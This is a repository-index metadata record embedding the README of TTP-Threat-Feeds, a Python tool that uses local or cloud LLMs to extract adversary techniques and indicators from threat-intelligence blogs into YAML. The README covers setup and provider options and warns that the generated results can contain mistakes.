{"id":28295116,"url":"https://github.com/bobby-tablez/ttp-threat-feeds","last_synced_at":"2026-02-28T08:35:30.899Z","repository":{"id":292402685,"uuid":"980785037","full_name":"bobby-tablez/TTP-Threat-Feeds","owner":"bobby-tablez","description":"Threat feeds designed to extract adversarial TTPs and IOCs, using: ✨AI✨","archived":false,"fork":false,"pushed_at":"2026-02-02T14:54:57.000Z","size":2099,"stargazers_count":44,"open_issues_count":0,"forks_count":8,"subscribers_count":2,"default_branch":"main","last_synced_at":"2026-02-03T03:40:34.315Z","etag":null,"topics":["ai","automation","llm","llms","threat-feeds","threat-hunting","threat-intelligence","threat-reports","threat-research"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/bobby-tablez.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-05-09T17:57:00.000Z","updated_at":"2026-02-02T16:28:55.000Z","dependencies_parsed_at":"2025-05-09T19:32:26.981Z","dependency_job_id":"2d44dcff-f8a3-43d9-aef8-3ad34f0ffb80","html_url":"https://github.com/bobby-tablez/TTP-Threat-Feeds","commit_stats":null,"previous_names":["bobby-tablez/ttp-threat-feeds"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/bobby-tablez/TTP-Threat-Feeds","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bobby-tablez%2FTTP-Threat-Feeds","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bobby-tablez%2FTTP-Threat-Feeds/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bobby-tablez%2FTTP-Threat-Feeds/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bobby-tablez%2FTTP-Threat-Feeds/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/bobby-tablez","download_url":"https://codeload.github.com/bobby-tablez/TTP-Threat-Feeds/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bobby-tablez%2FTTP-Threat-Feeds/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29928911,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-27T19:37:42.220Z","status":"online","status_checked_at":"2026-02-28T02:00:07.010Z","response_time":90,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ai","automation","llm","llms","threat-feeds","threat-hunting","threat-intelligence","threat-reports","threat-research"],"created_at":"2025-05-22T12:17:14.205Z","updated_at":"2026-02-28T08:35:30.893Z","avatar_url":"https://github.com/bobby-tablez.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# TTP-Threat-Feeds\n\n**TTP-Threat-Feeds** is a script-powered threat feed generator designed to extract adversarial TTPs and IOCs using ✨AI✨\n\n![TTP-Threat-Feeds](assets/ttp-threat-feeds-header.png)\n\nThe purpose of this project is to automate the discovery and parsing of threat actor behavior from published security research. By scraping posts from trusted vendors and blogs listed in `urls.txt`, the tool identifies relevant content, extracts observable adversary behaviors (TTPs) and then outputs structured, human-readable YAML files. These YAML files are designed to help detection engineers and threat researchers quickly derive detection opportunities and correlation logic.\n\n---\n\n##  How It Works\n\n- Scrapes URLs from vetted threat intel sources (`urls.txt`)\n- Extracts the text of each publication including embedded image OCR for screenshots\n- Feeds content into a local LLM with a purpose-built prompt\n- Extracts:\n  - Summary\n  - Attribution\n  - Malware families\n  - MITRE ATT\u0026CK techniques\n  - Full command lines\n  - Process relationships\n  - Persistence and lateral movement artifacts\n  - IOCs (domains, IPs, hashes and URLs)\n- Saves results as structured YAML files, sorted by date and source\n- Each file includes a timestamp, source domain, and top malware family name (if found).\n\n---\n\n## LLM Setup\n\nThis project supports multiple LLM providers, both local and cloud-based.\n\n### Supported Providers\n\n| Provider | Type | Default Model | Notes |\n|----------|------|---------------|-------|\n| **LM Studio** | Local | `qwen2.5-coder-32b-instruct` | Default, OpenAI-compatible endpoint |\n| **Ollama** | Local | `qwen2.5-coder:32b` | Easy local deployment |\n| **OpenAI** | Cloud | `gpt-4o` | Requires API key |\n| **Claude** | Cloud | `claude-3-5-sonnet-20241022` | Requires API key |\n| **Gemini** | Cloud | `gemini-2.0-flash-exp` | Requires API key |\n\n### Usage Examples\n\n**Default (LM Studio):**\n```bash\npython ttp_extractor.py\n# or explicitly\npython ttp_extractor.py --lmstudio\n```\n\n**Ollama:**\n```bash\npython ttp_extractor.py --ollama\n# With custom model\npython ttp_extractor.py --ollama --model llama3.1:70b\n```\n\n**OpenAI:**\n```bash\nexport OPENAI_API_KEY=\"your-api-key\"\npython ttp_extractor.py --openai\n# With specific model\npython ttp_extractor.py --openai --model gpt-4o-mini\n```\n\n**Claude:**\n```bash\nexport ANTHROPIC_API_KEY=\"your-api-key\"\npython ttp_extractor.py --claude\n# With specific model\npython ttp_extractor.py --claude --model claude-3-5-sonnet-20241022\n```\n\n**Gemini:**\n```bash\nexport GOOGLE_API_KEY=\"your-api-key\"\npython ttp_extractor.py --gemini\n# With specific model\npython ttp_extractor.py --gemini --model gemini-2.0-flash-exp\n```\n\n**Custom endpoint (for local providers):**\n```bash\npython ttp_extractor.py --lmstudio --endpoint http://192.168.1.100:1234/v1/chat/completions\npython ttp_extractor.py --ollama --endpoint http://192.168.1.100:11434/api/chat\n```\n\n### Recommended Local Models\n\nFor local deployment via LM Studio or Ollama:\n- [`qwen2.5-coder-32b-instruct`](https://huggingface.co/Qwen/Qwen2.5-Coder-32B-Instruct) **RECOMMENDED**\n- [`gemma-3-12b-it@q8_0`](https://huggingface.co/Triangle104/gemma-3-12b-it-Q8_0-GGUF)\n- [`phi-4`](https://huggingface.co/microsoft/phi-4)\n- [`devstral-small-2505`](https://huggingface.co/mistralai/Devstral-Small-2505)\n- [`llama-3.1-70b-instruct`](https://huggingface.co/meta-llama/Llama-3.1-70B-Instruct)\n\n### API Key Setup\n\nFor cloud providers, set environment variables:\n\n```bash\n# OpenAI\nexport OPENAI_API_KEY=\"sk-...\"\n\n# Anthropic Claude\nexport ANTHROPIC_API_KEY=\"sk-ant-...\"\n\n# Google Gemini\nexport GOOGLE_API_KEY=\"...\"\n```\n\nOr pass directly via command line:\n```bash\npython ttp_extractor.py --openai --api-key \"sk-...\"\n```\n\n---\n\n## OCR Support for Image Text\n\nSome vendors embed command-line samples or TTPs in screenshots. This tool includes OCR functionality via `pytesseract` to extract and append this content to the LLM input, ensuring no critical insight is missed.\n\n---\n\n##  Quick Start\n\n1. **Clone and setup:**\n```bash\ngit clone \u003crepository-url\u003e\ncd TTP-Threat-Feeds\npython -m venv .venv\nsource .venv/bin/activate  # On Windows: .venv\\Scripts\\activate\npip install -r requirements.txt\n```\n\n2. **Choose your LLM provider:**\n\n**Option A: Local (LM Studio) - Default**\n- Install [LM Studio](https://lmstudio.ai/)\n- Download a model (e.g., `qwen2.5-coder-32b-instruct`)\n- Start local server\n- Run: `python ttp_extractor.py`\n\n**Option B: Local (Ollama)**\n- Install [Ollama](https://ollama.ai/)\n- Run: `ollama pull qwen2.5-coder:32b`\n- Run: `python ttp_extractor.py --ollama`\n\n**Option C: Cloud (OpenAI/Claude/Gemini)**\n- Get API key from your provider\n- Run: `export OPENAI_API_KEY=\"your-key\"`\n- Run: `python ttp_extractor.py --openai`\n\n3. **Configure URLs:**\nAdd threat intelligence blog URLs to `urls.txt` (one per line)\n\n4. **Run the extractor:**\n```bash\npython ttp_extractor.py\n```\n\nResults will be saved to `results/YYYY/MM/` as YAML files.\n\n---\n\n##  Requirements\n\n```bash\npip install -r requirements.txt\n```\n\n**Note:** Cloud provider SDKs are optional. Only install if using that provider:\n```bash\n# For OpenAI\npip install openai\u003e=1.0.0\n\n# For Claude\npip install anthropic\u003e=0.18.0\n\n# For Gemini (optional, can use REST API)\npip install google-generativeai\u003e=0.3.0\n```\n\n##  Contributing\nPull requests are welcome for improvements, especially new URL sources, parser fixes or enhancements to the LLM prompt.\n\n---\n\n## ⚠️ Disclaimer ⚠️\n\nThis **vibe-coded** project generates results via LLM which can be prone to make mistakes. While it produces highly useful results, because of this it is not designed for ingestion into automated pipelines or alerting systems.\n\nPlease **do not treat these YAMLs as canonical ground truth**. Always verify extracted data with the original publication. The LLM is helpful but it is not infallible.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbobby-tablez%2Fttp-threat-feeds","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbobby-tablez%2Fttp-threat-feeds","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbobby-tablez%2Fttp-threat-feeds/lists"}